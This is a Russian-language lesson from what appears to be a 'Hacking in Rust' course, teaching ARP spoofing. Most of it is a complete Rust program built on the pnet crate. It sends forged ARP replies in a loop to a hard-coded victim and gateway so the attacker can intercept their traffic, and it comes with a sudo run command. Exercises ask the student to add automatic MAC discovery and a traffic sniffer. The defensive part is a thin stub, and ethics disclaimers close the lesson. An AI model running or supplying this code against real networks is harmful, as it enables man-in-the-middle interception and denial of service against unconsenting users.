Курс — Хакинг на Rust. #20 Инструменты хакера на Rust. Сетевые атаки. Пример: ARP-спуфинг на Rust
Здравствуйте, дорогие друзья.
ARP-спуфинг: теория
ARP (Address Resolution Protocol) связывает IP-адреса с MAC-адресами в локальной сети. ARP-спуфинг — атака, при которой злоумышленник подменяет ARP-таблицы жертвы, выдавая себя за шлюз или другое устройство. Это позволяет перехватывать трафик (MITM) или вызывать DoS.
Как это работает:
- Жертва отправляет ARP-запрос для определения MAC шлюза.
- Атакующий отправляет поддельный ARP-ответ: «IP шлюза = MAC атакующего».
- Трафик жертвы перенаправляется через атакующего.
Реализация на Rust
Для работы с ARP используем крейт pnet
, предоставляющий доступ к сырым сокетам и структурам пакетов.
Шаг 1: Подготовка
- Установите зависимости:
1 2 3 |
[dependencies] pnet = "0.28" libc = "0.2" |
2. Запустите код с правами суперпользователя:
1 |
sudo ./target/debug/arp_spoof |
Шаг 2: Код атаки
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 |
use pnet::datalink::{self, NetworkInterface}; use pnet::packet::arp::{ArpHardwareTypes, ArpOperation, ArpPacket, MutableArpPacket}; use pnet::packet::ethernet::{EtherTypes, MutableEthernetPacket}; use pnet::packet::Packet; use std::net::{IpAddr, Ipv4Addr}; use std::time::Duration; use std::thread; fn get_interface() -> NetworkInterface { // Получаем первый интерфейс с IPv4 datalink::interfaces().into_iter() .find(|iface| iface.ips.iter().any(|ip| ip.is_ipv4())) .expect("Не удалось найти подходящий интерфейс") } fn build_arp_packet( src_mac: [u8; 6], src_ip: Ipv4Addr, target_mac: [u8; 6], target_ip: Ipv4Addr, ) -> Vec<u8> { let mut ethernet_buffer = [0u8; 42]; let mut ethernet_packet = MutableEthernetPacket::new(&mut ethernet_buffer).unwrap(); ethernet_packet.set_destination(target_mac); ethernet_packet.set_source(src_mac); ethernet_packet.set_ethertype(EtherTypes::Arp); let mut arp_packet = MutableArpPacket::new(ethernet_packet.payload_mut()).unwrap(); arp_packet.set_hardware_type(ArpHardwareTypes::Ethernet); arp_packet.set_protocol_type(EtherTypes::Ipv4); arp_packet.set_hw_addr_len(6); arp_packet.set_proto_addr_len(4); arp_packet.set_operation(ArpOperation::Reply); arp_packet.set_sender_hw_addr(src_mac); arp_packet.set_sender_proto_addr(src_ip); arp_packet.set_target_hw_addr(target_mac); arp_packet.set_target_proto_addr(target_ip); ethernet_packet.packet().to_vec() } fn arp_spoof( interface: &NetworkInterface, target_ip: Ipv4Addr, gateway_ip: Ipv4Addr, ) { let src_mac = interface.mac.unwrap().octets(); let (mut sender, _) = match datalink::channel(interface, Default::default()) { Ok(datalink::Channel::Ethernet(tx, rx)) => (tx, rx), _ => panic!("Не удалось создать канал"), }; loop { // Отправляем поддельный ARP-ответ жертве let victim_packet = build_arp_packet( src_mac, gateway_ip, // Выдаём себя за шлюз [0xff, 0xff, 0xff, 0xff, 0xff, 0xff], // MAC жертвы (если неизвестен, широковещательный) target_ip, ); sender.send_to(&victim_packet, None).unwrap(); // Отправляем поддельный ARP-ответ шлюзу let gateway_packet = build_arp_packet( src_mac, target_ip, // Выдаём себя за жертву [0x00, 0x00, 0x00, 0x00, 0x00, 0x00], // MAC шлюза (замените на реальный) gateway_ip, ); sender.send_to(&gateway_packet, None).unwrap(); thread::sleep(Duration::from_secs(2)); } } fn main() { let interface = get_interface(); let target_ip = "192.168.1.5".parse().unwrap(); let gateway_ip = "192.168.1.1".parse().unwrap(); arp_spoof(&interface, target_ip, gateway_ip); } |
Анализ и тестирование
- Проверка ARP-таблицы жертвы:
1 |
arp -a # Должен отобразить MAC атакующего для IP шлюза |
2. Сниффинг трафика: Используйте Wireshark для подтверждения перехвата данных.
Обнаружение и защита
- Статические ARP-записи: Ручное привязывание IP к MAC.
- Системы обнаружения вторжений (IDS): Мониторинг аномальных ARP-ответов.
- Пример детектора на Rust:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
use pnet::packet::arp::ArpPacket; fn detect_arp_spoof(packet: &[u8]) { if let Some(arp) = ArpPacket::new(packet) { if arp.get_operation() == ArpOperation::Reply { println!( "ARP-ответ: {} -> {} (MAC: {:?})", arp.get_sender_proto_addr(), arp.get_target_proto_addr(), arp.get_sender_hw_addr() ); // Проверка на дубликаты MAC } } } |
Этические аспекты
ARP-спуфинг — серьёзное нарушение безопасности. Используйте этот код только:
- В лабораторных условиях (например, VirtualBox).
- Для защиты собственной сети (обнаружение атак).
Задание для самостоятельной работы:
- Добавьте автоматическое определение MAC-адресов шлюза и жертвы.
- Реализуйте защиту от ARP-спуфинга через проверку ARP-таблицы.
- Интегрируйте сниффер для анализа перехваченного трафика.
Итог:
Rust позволяет реализовать ARP-спуфинг с контролем пакетов на низком уровне. Однако помните: атака без разрешения — преступление. Используйте знания для укрепления безопасности, а не её нарушения.

На этом все. Всем хорошего дня!